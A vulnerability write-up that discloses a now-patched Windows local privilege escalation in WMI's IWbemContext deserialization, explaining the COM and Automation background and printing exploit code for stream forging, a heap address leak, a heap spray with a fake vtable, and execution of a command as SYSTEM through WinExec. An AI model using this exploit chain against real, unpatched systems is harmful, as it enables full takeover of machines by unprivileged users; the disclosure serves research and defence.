CVE-2026-69451: Type confusion and privilege escalation in fastprox.dll

During offensive security R&D work at SNS Security aimed at expanding our internal penetration testing toolkit, I had the opportunity to explore COM, followed by several Windows components responsible for transporting COM objects from one process to another.

Following this path all the way to WMI request processing, I discovered a locally exploitable type confusion vulnerability in IWbemContext deserialization. Combined with an address leak in the WMI service, it allows a standard user to execute a command as NT AUTHORITY\SYSTEM.

TL;DR

WMI allows applications to attach a small dictionary of options, called IWbemContext, to their requests. When it crosses a COM boundary, fastprox.dll deserializes it. It accepts an array of VARIANT values that is not part of the expected format and copies its elements without recursively validating their types. An attacker can therefore hide a fake VT_RECORD inside it, causing Windows to interpret attacker-controlled pointers as an IRecordInfo object.

The exploit combines this type confusion with an address leak from the Winmgmt heap, reclaims freed blocks with a fake object, then sends the spray and the tampered marshalled payload in a single context. CFG-compatible call targets ultimately lead to command execution inside Winmgmt, and therefore as NT AUTHORITY\SYSTEM.

A quick refresher on WMI

Windows Management Instrumentation (WMI) is a Windows component that provides a uniform view of the manageable elements of a machine (operating system, processes, services, disks, network, registry, etc.). This means an application does not need to know a different API for each subsystem: it queries WMI classes, calls their methods, or subscribes to their events.

Microsoft describes WMI as the intermediary between three actors: consumers, the WMI infrastructure, and providers (WMI architecture). In this model:

  • A consumer is a script or a monitoring/administration application
  • The Winmgmt service receives the request, consults the provider repository, and routes it accordingly
  • The provider handles the request by performing the requested actions or returning data

In practice, this mechanism appears behind fairly common operations. For example, systeminfo does not communicate directly with every Windows component. For some of the data it returns, the command queries WMI classes such as Win32_OperatingSystem or Win32_ComputerSystem. Winmgmt receives these requests, forwards them to the providers capable of answering them, and then returns the results to the command.

The repository is organized into namespaces, comparable to “folders” that group classes together. root\cimv2, used in this research, contains many of the historical Windows classes, for example. Microsoft states that Winmgmt is hosted in an svchost process under the LocalSystem account (winmgmt documentation). Providers are generally isolated in one or more WmiPrvSE.exe processes, whose accounts depend on their hosting model; therefore, they do not all run as SYSTEM (provider hosting and security).

COM and inter-process communication

WMI’s native APIs rely on the Component Object Model (COM). It is a set of conventions that allows software components to work together, including across separate processes.

A component exposes interfaces: sets of functions (called methods) that other programs can use and call. Several resources cover the subject in depth, including the Microsoft documentation, which describes the model in detail, while James Forshaw provides a particularly effective introduction in COM in 60 Seconds!.

WMI’s native features follow this model. The IWbemServices interface, for example, groups the operations used to query WMI: a program calls a method on this interface, and COM takes care of reaching the object that implements it.

However, a difficulty inevitably arises when that object lives in another process and the caller needs to interact with remote structures (and vice versa). A pointer, for example, is an address in a process’s memory. If either the caller or the remote process needs to interact with a structure belonging to the other one, simply transmitting the numeric value is not enough: it is specific to each process, and attempting to access it from an external process would inevitably cause an error.

For here or to go?

COM solves this problem through marshalling: this operation is essentially serialization, with the additional step of preparing a transportable representation of parameters and object references. At the destination, unmarshalling (the reverse operation) reconstructs what the recipient needs.

In the standard cross-process case, a proxy represents the object on the client side and a stub receives calls on the server side. They respectively “pack” and “unpack” the parameters and transmit them over RPC (Remote Procedure Call. Here, “Remote” can refer either to a truly remote call from one machine to another or to a remote call between processes on the same machine). Microsoft’s official documentation provides more details on the operation if needed.

Care for a little more context?

In WMI, the IWbemContext interface is used to attach additional information to an operation. Despite its suggestive name, it is neither a processor context nor a security token: it is a container of name/value pairs, comparable to a small dictionary of options. Each value is placed in a VARIANT, a structure capable of holding several types of data that we will examine in the next section.

The main IWbemServices methods therefore accept an optional pCtx parameter. It lets the client pass information to the provider that does not appear among the method’s ordinary parameters. Microsoft gives an SNMP community name or SQL database information as examples and recommends using this mechanism sparingly (IWbemContext interface). WMI also recognizes certain options: __ProviderArchitecture can request the 32-bit or 64-bit version of a provider, while __RequiredArchitecture makes that choice mandatory (requesting the architecture of a provider).

In many ordinary calls, pCtx is simply NULL: no additional option is needed. A normal context might look like this in pseudocode; CreateWbemContext and VariantI4 are assumed to be helpers here:

IWbemContext *ctx = CreateWbemContext();
ctx->SetValue(L"__ProviderArchitecture", 0, VariantI4(64));
services->ExecQuery(..., ctx, ...);

ExecNotificationQueryAsync, which is used by the PoC, accepts this context as well. This method creates an asynchronous subscription: the application supplies a receiver object, called a sink, and then continues its work while WMI sends events to it (IWbemServices::ExecNotificationQueryAsync, Register-WmiEvent).

Where does fastprox.dll fit into all this?

A WMI call can carry objects far richer than a handful of integers or strings: CIM classes and instances, query results, COM references, or context parameters. Since WMI classes can be added dynamically, their shape cannot be reduced to a fixed binary structure known once and for all.

WMI therefore uses its own compact representations to transport this information over DCOM (MS-WMI overview, MS-WMIO encoding). In Windows, fastprox.dll is one of the libraries that implements this translation layer: it contains WMI object implementations and code capable of converting their in-memory representation into a byte stream, then reconstructing those objects at the other end. It can be viewed as the interpreter between WMI objects and COM transport.

The path can therefore be summarized as follows: the application calls a WMI method with a context, COM asks the object to serialize itself, DCOM/RPC transports the stream, and then COM hands this stream to fastprox in Winmgmt before invoking the requested method. This path is automatic whenever a WMI operation actually carries a non-null IWbemContext to another process.

In normal use, this mechanism is activated automatically when a WMI operation carries a non-null context to another process. In this vulnerability, the client-side step is subverted: a fake IMarshal object supplies the attacker-prepared stream and announces the official IWbemContext CLSID. On the Winmgmt side, processing remains entirely ordinary: COM selects fastprox!CWbemContext, then asks it to reconstruct the context.

The normal wire format

MS-WMI describes the context as a property count followed by a continuous list. Each property contains a name, flags, a 16-bit type, and a value (IWbemContextBuffer, IWbemContextProperty). An array adds an element count, their size, and their data (IWbemContextArray).

The specification limits property types to a short list: integers, floating-point values, Booleans, strings, a null value (VT_NULL), VT_UNKNOWN, and arrays provided for by the protocol. VT_VARIANT and VT_RECORD are not among them. The API documentation gives provider authors an even shorter recommendation: VT_I4, VT_R8, VT_BOOL, VT_BSTR, VT_UNKNOWN, optionally combined with VT_ARRAY.

This list is essential: the format expects simple values and a few correctly marshalled WMI objects, not an arbitrary graph of Automation structures containing process pointers.

OLE Automation

The names VARIANT, SAFEARRAY, and VT_RECORD that we have just encountered are not specific to WMI. They belong to Automation, formerly OLE Automation, a set of COM-based conventions for exposing objects and exchanging their values with scripts or other applications (Automation overview). The name is historical: we do not need to trace the entire history of OLE to understand the vulnerability.

Automation notably defines a shared vocabulary for carrying a value whose type may vary: an integer, a string, an array, or even an object reference. WMI reuses these types for IWbemContext values, while oleaut32.dll provides the functions responsible for copying, converting, and freeing them. This is why an error made by fastprox while reconstructing the context may surface a little later in oleaut32, when that library manipulates the value and trusts it.

Three concepts are enough to follow this path: a value accompanied by its type, an array that describes its elements, and an object responsible for describing a custom structure.

VARIANT, a box with a label

In C, a VARIANT is a tagged union: a “box” accompanied by a vt label that announces what it contains. With VT_I4, it contains an integer; with VT_BSTR, it contains a pointer to a string. When the VT_ARRAY flag is combined with the element type, it contains a pointer to a SAFEARRAY. The official list of labels can be found in VARENUM.

The label must match the contents. With VT_I8, the data area represents a 64-bit integer; with a type containing a reference, it contains a pointer. Changing the label therefore changes how the data is read, without making its contents valid.

VARIANT
+----------------------+--------------------------------------+
| vt = declared type   | interpreted according to this type   |
+----------------------+--------------------------------------+
| VT_I8                | 0x4141414141414141 = an integer      |
| VT_RECORD            | pvRecord + pRecInfo = two pointers   |
+----------------------+--------------------------------------+

SAFEARRAY, an array that knows its type

A SAFEARRAY is an array accompanied by information that allows it to be manipulated: dimensions, bounds, element size, and flags indicating their nature (SAFEARRAY structure). The word safe does not guarantee that data received from outside has been validated. A VARIANT marked VT_ARRAY | VT_UI1 therefore represents a byte array. VT_ARRAY | VT_VARIANT represents an array in which each element is itself a VARIANT.

This nesting is legitimate in Automation, but requires recursive validation. Checking only the container type says nothing about the types declared by its elements; it merely indicates that the data structure encapsulates its own bounds and type metadata.

VT_RECORD and IRecordInfo

VT_RECORD represents a user-defined type. Its payload contains pvRecord, which points to the data, and pRecInfo, which points to an IRecordInfo interface (VARIANT structure). Since the shape of a record depends on its definition, oleaut32 cannot determine on its own how to copy it or free the resources it contains. IRecordInfo provides precisely these operations, through methods such as RecordCopy and RecordClear (IRecordInfo interface, IRecordInfo::RecordCopy, IRecordInfo::RecordClear).

A vtable is a table of function addresses: it indicates where the methods to be called through a COM interface are located. In a legitimate object, pRecInfo points to a valid interface whose first field leads to this table. Calling pRecInfo->RecordCopy(...) therefore amounts to reading the address of RecordCopy from the vtable, then calling that address. This is known as an indirect call.

Why can a simple copy call a method?

The name VariantCopy may suggest a simple byte copy. That would be sufficient for an integer, but not for a value that owns resources. A string needs its own allocation, the reference count of a COM interface must be adjusted, and a record must be copied according to its definition. VariantCopy therefore starts by reading vt, then applies the appropriate operation. Similarly, VariantClear reads vt to determine which resources to free.

This behavior becomes recursive with a SAFEARRAY of VARIANT values. To copy the array, Automation copies each of its elements with VariantCopy. To destroy it, Automation clears each element with VariantClear. Microsoft documents both the complete copying of arrays by VariantCopy and the call to VariantClear on every member of a VARIANT array (VariantClear).

If one of these elements declares VT_RECORD, Automation then treats pRecInfo as a genuine COM interface. In the copy path observed with the PoC, it eventually calls IRecordInfo::RecordCopy. During cleanup, it notably uses IRecordInfo::RecordClear, then releases the reference to IRecordInfo. These calls go through the vtable to which pRecInfo leads.

Context copy
└─ VariantCopy(VT_ARRAY | VT_VARIANT)
  └─ SafeArrayCopy
    └─ VariantCopy(VT_RECORD element)
      └─ pRecInfo->RecordCopy(...)

Context destruction
└─ VariantClear(VT_ARRAY | VT_VARIANT)
  └─ SafeArrayDestroy
    └─ VariantClear(VT_RECORD element)
      ├─ pRecInfo->RecordClear(...)
      └─ pRecInfo->Release()

With a legitimate record, this mechanism calls the legitimate IRecordInfo implementation. It becomes dangerous only if untrusted data can control both the VT_RECORD label and the value of pRecInfo. That is precisely what fastprox deserialization makes possible.

The normal path: read the label, then reconstruct the value

The following excerpts are simplified pseudocode based on fastprox.dll. They draw on the CContextObj constructor and UnmarshalSafeArray. They preserve the decisions relevant to the vulnerability while omitting error handling, size counters, and telemetry. Here, IStream represents the byte stream received by the deserializer.

For each property, the CWbemContext::CContextObj(IStream *, ...) constructor first reads the type:

vt = stream.ReadU16();

if (vt == VT_NULL)
  value = empty();
else if (vt == VT_BSTR)
  value = UnmarshalBSTR(stream);
else if (vt == VT_UNKNOWN)
  value = CoUnmarshalInterface(stream, IID_IWbemClassObject);
else if ((vt & ~VT_ARRAY) == VT_DISPATCH)
  reject();
else if (vt & VT_ARRAY)
  value = UnmarshalSafeArray(stream, vt & ~VT_ARRAY);
else
  value.raw = stream.Read(8);

This organization has a logic to it:

  • a simple scalar value can be copied as-is; VT_NULL, which carries no data, does not even require this copy;
  • a string must be recreated in the destination process;
  • a COM interface must go through CoUnmarshalInterface;
  • an array is delegated to a routine that knows its size and element type.

UnmarshalSafeArray then follows two special paths and one generic path:

count       = stream.ReadU32();
elementSize = stream.ReadU32();
array       = SafeArrayCreate(elementType, 1, count);
data        = SafeArrayAccessData(array);

if (elementType == VT_BSTR)
  for each element: UnmarshalBSTR(stream);
else if (elementType == VT_UNKNOWN)
  for each element: CoUnmarshalInterface(stream, IID_IWbemClassObject);
else {
  require(SafeArrayGetElemsize(array) == elementSize);
  require(count * elementSize <= remainingBytes);
  stream.Read(data, count * elementSize);
}

For an array of bytes or integers, the raw read in the final block is reasonable: the elements do not contain any pointers that need translating. For strings or interfaces, however, fastprox reconstructs each element using the appropriate primitive.

After being received, the context may be cloned before it is passed to a provider. Its copy uses VariantCopy, which notably copies an entire array. When it is no longer needed, each value is cleared with VariantClear. Microsoft documents that this function frees an array and, for a VARIANT array, calls VariantClear on each of its members (VariantClear).

For the types provided for by the protocol, this cycle is coherent: deserialize, use, copy if necessary, then free.

The vulnerable path: a box inside the box

The flaw lies in the gap between two levels of validation. fastprox correctly reads the label on the outer box, but does not inspect the labels on the boxes stored inside it.

The outer parser accepts the VT_ARRAY | VT_VARIANT type (0x200C) and passes its base type, VT_VARIANT (12), to UnmarshalSafeArray. This routine has no special case for VT_VARIANT. It therefore falls into the generic path and copies bytes directly from the stream into the SAFEARRAY memory.

On x64, however, each of these 24-byte blocks is subsequently treated as a genuine VARIANT. Its vt field and pointers come entirely from the caller.

The implementation already contains several safeguards against records: SetValue rejects a scalar VT_RECORD, while the copy and destruction paths neutralize an outer value whose type is exactly VT_RECORD (36, or 0x24). But this check stops at the wrapper:

if (outerVariant.vt == VT_RECORD)
  reject_or_neutralize();

For our value, outerVariant.vt is VT_ARRAY | VT_VARIANT, not VT_RECORD. The record sits one level deeper and is never inspected by fastprox.

In the crashes used to diagnose the flaw, the fault appears in oleaut32.dll, the library that implements these Automation operations. However, oleaut32 does not create the inconsistent state: it applies the normal rules to an object that fastprox reconstructed from an untrusted stream. The root cause therefore lies in the IWbemContext marshaller.

Crafting the context that the API refuses

Simply calling IWbemContext::SetValue with a VT_RECORD is not enough: the API rejects this type when it is presented directly as the property value. The PoC therefore does not try to make it accept the forged record. It first submits a benign value to obtain a correctly structured stream, then modifies its own copy of that stream.

The following excerpts are taken from the PoC, available on my GitHub at the end of the article. They have been shortened around the relevant lines, and comments were added to clarify the role of each value.

To do this, the MakeCraftedVariantArray function creates a SAFEARRAY containing a single VARIANT. At this stage, the inner element declares VT_I8 (20, or 0x14) and contains the easily recognizable PLACEHOLDER constant: it is still an ordinary 64-bit integer.

static const uint64_t PLACEHOLDER = 0xCAFEBABEF00D1234ULL;      // Unique value used as a marker.

static SAFEARRAY* MakeCraftedVariantArray()
{
  SAFEARRAYBOUND bound; bound.cElements = 1; bound.lLbound = 0; // A single element, at index 0.
  SAFEARRAY* psa = SafeArrayCreate(VT_VARIANT, 1, &bound);      // The array elements are VARIANTs.
  if (!psa) throw std::runtime_error("SafeArrayCreate(VT_VARIANT) failed");
  void* data = nullptr; SafeArrayAccessData(psa, &data);        // Direct access to the element buffer.
  uint8_t* d = (uint8_t*)data;
  memset(d, 0, 24);                                            // Size of a VARIANT on Windows x64.
  *(int16_t*)(d + 0) = 20;                                     // Initial inner type: VT_I8, an ordinary integer.
  wr64(d + 8, PLACEHOLDER);                                    // Marker located and replaced after marshalling.
  SafeArrayUnaccessData(psa);
  return psa;
}

The array is then added to the genuine IWbemContext under the name zz_record. The two labels must be clearly distinguished: the outer property is VT_ARRAY | VT_VARIANT, while its sole element is still VT_I8.

SAFEARRAY* crafted = MakeCraftedVariantArray();
SetVariant(ctx, L"zz_record", VT_ARRAY | VT_VARIANT, crafted); // Outer type presented to IWbemContext::SetValue.
SafeArrayDestroy(crafted);

The PoC then asks COM to marshal this genuine context with CoMarshalInterface. It retrieves the resulting stream, removes the 48-byte COM header that COM will recreate when sending the fake object, and then applies the modification to the part specific to IWbemContext.

hr = CoMarshalInterface(stm, MY_IID_IWbemContext, ctx,
                       MSHCTX_LOCAL, nullptr, MSHLFLAGS_NORMAL); // First produces a stream from the genuine context.

const int hdr = 48;                                             // Size of the COM header removed by this revision.
blob.assign(full.begin() + hdr, full.end());                    // Keeps the payload specific to IWbemContext.
if (craft) PatchCraftedRecord(blob, g);                         // Modifies only the already-marshalled copy.

PatchCraftedRecord then searches for the placeholder. On x64, the vt field is located eight bytes before the area where the integer was written: the PoC replaces it with 0x24, which is VT_RECORD. The area that held the VT_I8 then becomes pvRecord, and the following eight bytes become pRecInfo.

static void PatchCraftedRecord(std::vector<uint8_t>& blob, uint64_t g)
{
  int off = -1;
  for (size_t i = 0; i + 8 <= blob.size(); i++)
    if (rd64(&blob[i]) == PLACEHOLDER) { off = (int)i; break; } // Locates the former integer in the stream.
  if (off < 8) throw std::runtime_error("placeholder not found in marshaled stream");
  blob[off - 8] = 0x24; blob[off - 7] = 0x00;                  // Replaces VT_I8 with VT_RECORD.
  wr64(&blob[off],     g + OBJ_CMD);                           // pvRecord = G+0xB0, the command address.
  wr64(&blob[off + 8], g + OBJ_VP);                            // pRecInfo = G+0x10, the fake object address.
}

This produces the following transformation:

Before Patch (legitimate stream generated by CoMarshalInterface):
+--------+------+---------------------------------------------------+
| Offset | Size | Contents                                          |
+--------+------+---------------------------------------------------+
| -0x08  | 2 B  | vt = 0x0014 (VT_I8)                               |
| -0x06  | 6 B  | wReserved1..3 (alignment)                         |
|  0x00  | 8 B  | 0xCAFEBABEF00D1234 (PLACEHOLDER)                  |
|  0x08  | 8 B  | 0x0000000000000000 (padding)                      |
+--------+------+---------------------------------------------------+

After Patch (PatchCraftedRecord):
+--------+------+---------------------------------------------------+
| Offset | Size | Contents interpreted by oleaut32                  |
+--------+------+---------------------------------------------------+
| -0x08  | 2 B  | vt = 0x0024 (VT_RECORD)                           |
| -0x06  | 6 B  | wReserved1..3                                     |
|  0x00  | 8 B  | pvRecord = G + 0xB0  (Pointer to cmd string)      |
|  0x08  | 8 B  | pRecInfo = G + 0x10  (Pointer to fake IRecord)    |
+--------+------+---------------------------------------------------+

The PoC constants already define the future memory layout: OBJ_CMD is 0xB0, so pvRecord will point to the command at G + 0xB0; OBJ_VP is 0x10, so pRecInfo will point to the fake object at G + 0x10. The next section explains how the corresponding bytes are placed at address G inside Winmgmt.

The modified stream must now be handed back to COM. FakeMarshaler::QueryInterface accepts requests for IMarshal and IWbemContext. Its marshalling methods then announce the official CWbemContext CLSID and write g_blob directly, which contains the modified portion of the stream.

static const GUID MY_CLSID_WbemContext =
  { 0x674B6698,0xEE92,0x11D0,{0xAD,0x71,0x00,0xC0,0x4F,0xD8,0xFD,0xFF} }; // Official CLSID announced to COM.

if (IsEqualGUID(riid, MY_IID_IUnknown) || IsEqualGUID(riid, MY_IID_IMarshal) ||
  IsEqualGUID(riid, MY_IID_IWbemContext))                    // The same object also claims the IWbemContext identity.
{
  *ppv = static_cast<IMarshal*>(this);                       // COM obtains the PoC-controlled IMarshal vtable.
  return S_OK;
}

HRESULT STDMETHODCALLTYPE GetUnmarshalClass(REFIID, void*, DWORD, void*, DWORD, CLSID* pCid) override
{ *pCid = MY_CLSID_WbemContext; return S_OK; }                // Requests the official IWbemContext unmarshaller.

HRESULT STDMETHODCALLTYPE GetMarshalSizeMax(REFIID, void*, DWORD, void*, DWORD, DWORD* pSize) override
{ *pSize = (DWORD)g_blob.size(); return S_OK; }               // Announces the exact size of the forged payload.

HRESULT STDMETHODCALLTYPE MarshalInterface(IStream* s, REFIID, void*, DWORD, void*, DWORD) override
{ ULONG written = 0; return s->Write(g_blob.data(), (ULONG)g_blob.size(), &written); } // Writes the modified stream.

The service therefore does not receive a packet of bytes sent outside any protocol. It receives the COM argument of a genuine WMI method; its header identifies the official IWbemContext unmarshaller, while its payload contains the element modified after the fact. The exploitation hinges on this discrepancy between a legitimate wrapper and a VT_RECORD that the API never validated.

Finding a good address in Winmgmt

The VT_RECORD gives control over pRecInfo, and therefore over the address at which oleaut32 will look for a vtable. A fake structure must still be placed at that address inside Winmgmt. This structure must live in the heap, the area in which the process performs dynamic allocations. ASLR, the randomization of the address space, causes memory locations to vary. A heap address is therefore difficult to guess.

Allocating a large number of copies of the structure (a spray) increases the chances of occupying a targeted address. Without any information about the heap, however, the result remains probabilistic. The second weakness provides precisely that information.

The chain uses a second weakness in the WMI self-instrumentation provider, analyzed in wbemess.dll. This provider publishes internal events about the activity of the WMI event subsystem (WMI service diagnostic classes). Microsoft notably documents the MSFT_WmiFilterActivated class, but not the fact that its name can reveal an address.

In our tests and code analysis, the Name field is built in the form $%p by CTempFilter::ComputeThisKey. The formatting is applied to this internal object, which is used as the filter key. The field therefore contains a live address from the Winmgmt heap.

The PoC first subscribes to MSFT_WmiEssEvent. When an event arrives, drainNew reads its Name property, checks that it begins with $, then interprets the rest of the string as a hexadecimal address with wcstoull.

BSTR qOuter = SysAllocString(L"SELECT * FROM MSFT_WmiEssEvent"); // Watches ESS internal events.
hr = svc->ExecNotificationQuery(lang, qOuter, flags, nullptr, &outer); // Opens the event enumerator.

VARIANT v; VariantInit(&v);
if (SUCCEEDED(obj->Get(L"Name", 0, &v, nullptr, nullptr)) &&
  v.vt == VT_BSTR && v.bstrVal && v.bstrVal[0] == L'$')       // The expected name begins with "$".
{
  wchar_t* end = nullptr;
  unsigned long long val = wcstoull(v.bstrVal + 1, &end, 16); // Skips "$" and reads the address as hexadecimal.
  if (end && *end == L'\0' && val) addr = (uint64_t)val;      // Keeps only fully valid strings.
}

It then creates up to LEAK_SUBS, or 25, temporary subscriptions to Win32_DeviceChangeEvent. After each creation, it waits for a new ESS address and keeps the subscription/address pair. This association is important: it allows the PoC to select only blocks that it knows it can subsequently free itself, rather than addresses from older events that arrived late.

for (int i = 0; i < LEAK_SUBS; i++)                           // LEAK_SUBS is 25 by default.
{
  wchar_t q[160];
  swprintf(q, 160, L"SELECT * FROM Win32_DeviceChangeEvent WHERE EventType >= %d", i % 7); // Creates a temporary filter.
  BSTR qi = SysAllocString(q);
  IEnumWbemClassObject* inner = nullptr;
  if (SUCCEEDED(svc->ExecNotificationQuery(lang, qi, flags2, nullptr, &inner)) && inner)
  {
    SetProxyBlanket(inner);
    uint64_t addr = drainNew(800);                            // Waits for the ESS address of the newly created filter.
    mapped.push_back(std::make_pair(inner, addr));            // Records which subscription owns which block.
  }
  SysFreeString(qi);
}

for (auto& p : mapped) if (p.first) p.first->Release();       // Destroys the filters and frees their heap blocks.

This leak does not make it possible to read memory contents. It provides an address, which is enough here to guide placement:

  1. the PoC subscribes to ESS events, then creates several temporary WMI subscriptions;
  2. after each creation, it associates the newly announced address with the corresponding subscription;
  3. it thereby discards delayed events and keeps the center of the densest run of current addresses;
  4. it releases the associated subscriptions, and therefore the corresponding blocks; the assumption is then that if we reallocate new objects, some of them are very likely to land where the freed objects used to be;
  5. it prepares many allocations, all containing the same fake structure;
  6. the allocator can then reuse the locations that were just freed.

DenseRunCenter sorts the addresses, locates the most compact run, and then chooses its midpoint as the target address. In Run, the result is assigned to G with uint64_t g = DenseRunCenter(filters);. The PoC therefore does not target an address obtained from a fixed offset: it directly selects one of the blocks that were just observed and freed.

std::sort(f.begin(), f.end());
f.erase(std::unique(f.begin(), f.end()), f.end());             // Removes repeated reports of the same filter.
size_t bestS = 0, bestE = 0, s = 0;
for (size_t i = 1; i < f.size(); i++)
{
  if (f[i] - f[i - 1] > 0x2a0) s = i;                        // A large gap marks the start of another run.
  if (i - s > bestE - bestS) { bestS = s; bestE = i; }        // Keeps the longest run.
}
return f[(bestS + bestE) / 2];                                // Takes a block in the middle of that run: G.

Size matters just as much as the address: reclaiming a freed block requires an allocation of the correct size class. The PoC estimates that size class from the distance between the leaked addresses.

The beginning of a newly freed block may be reused by allocator metadata. The PoC therefore skips the first 16 bytes: pRecInfo targets G + 0x10, where the pointer to the fake vtable located at G + 0x30 resides. The command is stored farther away, at G + 0xB0, and pvRecord points to it. These offsets remain the same; only the total allocation size is adjusted.

BuildPattern constructs the exact block that the spray will attempt to place at G. The vtable pointer is written at G + 0x10, the vtable begins at G + 0x30, its RecordCopy entry at offset 0x28 receives the call bridge, and the command is copied to G + 0xB0. The other vtable entries point to a small function that returns zero so that auxiliary methods can be traversed without diverting the intended control flow.

static const int OBJ_VP  = 0x10;                              // Location targeted by pRecInfo, after the metadata.
static const int OBJ_VT  = 0x30;                              // Start of the fake vtable in the block.
static const int OBJ_CMD = 0xB0;                              // Location of the command string.

std::vector<uint8_t> p((size_t)g_objSize, 0);                 // A copy of the future allocation to reclaim.
wr64(&p[OBJ_VP], g + OBJ_VT);                                 // At G+0x10: pointer to the vtable at G+0x30.
for (int off = 0; off < 0x80; off += 8)
  wr64(&p[OBJ_VT + off], (uint64_t)(uintptr_t)g_noop);        // Benign target chosen for unused methods.
wr64(&p[OBJ_VT + 0x28], (uint64_t)(uintptr_t)g_bridge);       // Replaces the IRecordInfo::RecordCopy slot with the bridge.

if (s_bridgeKind == BRIDGE_THISPFN)
{
  wr64(&p[OBJ_VP + s_loadDisp], (uint64_t)(uintptr_t)g_winExec); // Function loaded by the bridge: WinExec.
  wr64(&p[OBJ_VP + s_rcxDisp],  g + OBJ_CMD);                    // First argument: address of the command.
}
else
{
  wr64(&p[OBJ_VP + s_bridgeDisp], (uint64_t)(uintptr_t)g_winExec); // RDX variant: only the target is stored here.
}

size_t n = fullCmd.size();
if (n >= (size_t)(g_objSize - OBJ_CMD - 1)) throw std::runtime_error("command too long");
memcpy(&p[OBJ_CMD], fullCmd.data(), n);                        // Places "cmd.exe /c ..." at G+0xB0.
p[OBJ_CMD + n] = 0;                                           // Terminates the string expected by WinExec.

This results in the following layout inside a g_objSize block allocated at address G:

Address         Offset   Field / Data
─────────────────────────────────────────────────────────────────────────────
G + 0x00        +0x00    [ Allocator metadata (NT Heap / LFH) ]
                         (Left intact to avoid corruption)
─────────────────────────────────────────────────────────────────────────────
G + 0x10        +0x10    Fake IRecordInfo object (Pointed to by pRecInfo)
                         └─ lpVtbl ───────────────┐
G + 0x18        +0x18    Arg / Context for bridge │ (e.g. RCX/RDX depending on gadget)
──────────────────────────────────────────────────│──────────────────────────
G + 0x30        +0x30    Fake vtable <────────────┘
                         ├─ +0x00: QueryInterface  -> g_noop (ret 0)
                         ├─ +0x08: AddRef          -> g_noop (ret 0)
                         ├─ +0x10: Release         -> g_noop (ret 0)
                         ├─ ...
                         ├─ +0x28: RecordCopy      -> g_bridge (CFG gadget)
                         └─ ...
─────────────────────────────────────────────────────────────────────────────
G + 0xB0        +0xB0    pvRecord: "cmd.exe /c ..." (null-terminated)
─────────────────────────────────────────────────────────────────────────────

Triggering the vulnerability

The final PoC then brings both ingredients together in a single IWbemContext:

  • VT_ARRAY | VT_UI1 properties named spray000000, spray000001, and so on carry a total of roughly 4 MiB of data made up of copies of the fake structure;
  • the zz_record property, placed after them in the stream, contains the VARIANT array whose element will be transformed into a VT_RECORD.

The word spray becomes very concrete here: BuildPattern produces a fake structure built for the target address G, then the loop creates enough byte arrays to carry roughly 4 MiB of them. With chunkBytes = g_objSize, each property essentially contains one copy of that same structure. They are added before zz_record, which carries the trigger.

The value of each spray property is indeed wrapped in a WMI VARIANT, but its contents are a simple VT_UI1 byte array. These bytes represent the fake object, its vtable, the pointers to g_bridge and WinExec, and finally the command; they do not contain any VT_RECORD.

With roughly 4 MiB of spray and a g_objSize of 0x120 or 0x130, the loop creates around fourteen thousand properties.

IWbemContext constructed on the client side

├─ spray000000: [ copy of the BuildPattern(G) pattern ]
├─ spray000001: [ copy of the same pattern            ]
├─ spray000002: [ copy of the same pattern            ]
├─ ...
└─ zz_record:   [ a VARIANT that will become VT_RECORD ]   ← only once

Each copy of the pattern contains the same absolute values, calculated for the single target address G:

bytes +0x10: G + 0x30       pointer to the fake vtable
bytes +0x18...              WinExec address / bridge data
bytes +0x30: ...            start of the fake vtable
bytes +0x58: g_bridge       RecordCopy slot
bytes +0xB0: "cmd.exe ..." command

The spray multiplies the copies so that at least one of them reclaims the exact block beginning at G.

In Winmgmt memory, a successful attempt unfolds as follows:

1. After the leak and the release of the subscriptions

   address A1          address A2          address G           address A4
   [ free block ]      [ free block ]      [ free block ]      [ free block ]

2. Deserialization of the spray000000, spray000001, ... properties

   [ pattern copy ]    [ other allocation ] [ copy at G ]      [ pattern copy ]
                                             ├─ G+0x10: lpVtbl = G+0x30
                                             ├─ G+0x58: g_bridge
                                             └─ G+0xB0: command

   The number of the property that reclaims G is unknown:
   the allocator chooses the locations.

3. Deserialization of the single zz_record, in a separate allocation

   VT_RECORD
   ├─ pRecInfo ──> G+0x10 ──> lpVtbl = G+0x30
   │                            └─ RecordCopy at G+0x58 ──> g_bridge

   └─ pvRecord ──> G+0xB0 ──> "cmd.exe /c ..." ─────────> WinExec argument

4. VariantCopy processes this record and follows this pointer chain.

The fake IRecordInfo and its single trigger are therefore present in Winmgmt during the same deserialization. This organization avoids an arbitrary wait between an initial spray call and a second trigger call, as well as the spray being freed between the two. If no copy reclaims G, pRecInfo does not encounter the expected structure: placement has failed, and the PoC starts a new attempt.

The SELECT * FROM __ClassModificationEvent query corresponds to an intrinsic event handled by the Winmgmt event subsystem. The leaked address, the spray allocations, and the use of the fake object therefore all concern the same process.

Finally, BuildContextBlob produces this single stream. The fake IMarshal is presented as an IWbemContext parameter, and a single asynchronous call then hands the entire structure to COM:

IWbemContext* fakeCtx =
    reinterpret_cast<IWbemContext*>(static_cast<IMarshal*>(&g_marshaler));
Bstr query(L"SELECT * FROM __ClassModificationEvent");

g_blob = BuildContextBlob(g, fullCmd); // Spray and VT_RECORD in the same stream.
HRESULT hr2 = svc->ExecNotificationQueryAsync(lang, query, 0, fakeCtx, &g_sink);

Impact and timeline

The vulnerability was discovered in June 2026. The affected Windows versions range from Windows 10 version 1709 to Windows 11 25H2, including every major intermediate version, as well as Windows Server releases.

In theory, this bug can also be triggered remotely by a user with DCOM activation rights (on an AD CS server, for example). However, the crucial Winmgmt heap address leak is not available remotely without administrator privileges on the machine—at least, I was unable to demonstrate otherwise during my research. Remote exploitation of this bug therefore remains entirely theoretical.

The PoC source code and a compiled version are available here.

Regarding the timeline:

  • July 21, 2026 - Initial report to MSRC
  • August 16, 2026 - Microsoft confirms the vulnerability
  • August 16, 2026 - Microsoft states that a similar report targets the same vulnerability and that no bounty will be awarded for this bug
  • September 8, 2026 - The bug is fixed in the September 2026 Patch Tuesday release